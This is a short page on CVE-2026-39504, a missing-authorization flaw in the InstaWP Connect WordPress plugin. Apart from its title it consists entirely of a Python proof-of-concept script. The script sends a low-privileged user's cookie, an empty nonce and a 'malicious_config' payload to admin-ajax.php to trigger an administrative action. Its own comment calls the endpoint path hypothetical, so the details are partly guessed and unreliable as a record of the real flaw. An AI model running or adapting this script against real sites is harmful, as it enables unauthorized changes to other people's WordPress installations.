CVE-2026-39504: InstaWP Connect授权缺失漏洞

import requests # Exploit Title: InstaWP Connect < 0.1.2.5 - Missing Authorization PoC # Description: Low privileged user can access restricted administrative functions. target_url = "http://target-site.com" # Cookie for a low-privileged user (e.g., Subscriber) wp_cookie = "wordpress_logged_in_xxx=...; wordpress_sec_xxx=..." # Vulnerable endpoint (Hypothetical path based on plugin structure) vulnerable_endpoint = "/wp-admin/admin-ajax.php" # Payload attempting to trigger the unauthorized action payload = { "action": "instawp_connect_manage", "nonce": "", "data": "malicious_config" } headers = { "Cookie": wp_cookie, "User-Agent": "Mozilla/5.0 (PoC Scanner)" } try: response = requests.post(target_url + vulnerable_endpoint, data=payload, headers=headers) if response.status_code == 200 and "success" in response.text: print("[+] Vulnerability exploited! Action executed without proper authorization.") print("[+] Response:", response.text[:200]) else: print("[-] Exploit failed or patched.") except Exception as e: print(f"Error: {e}")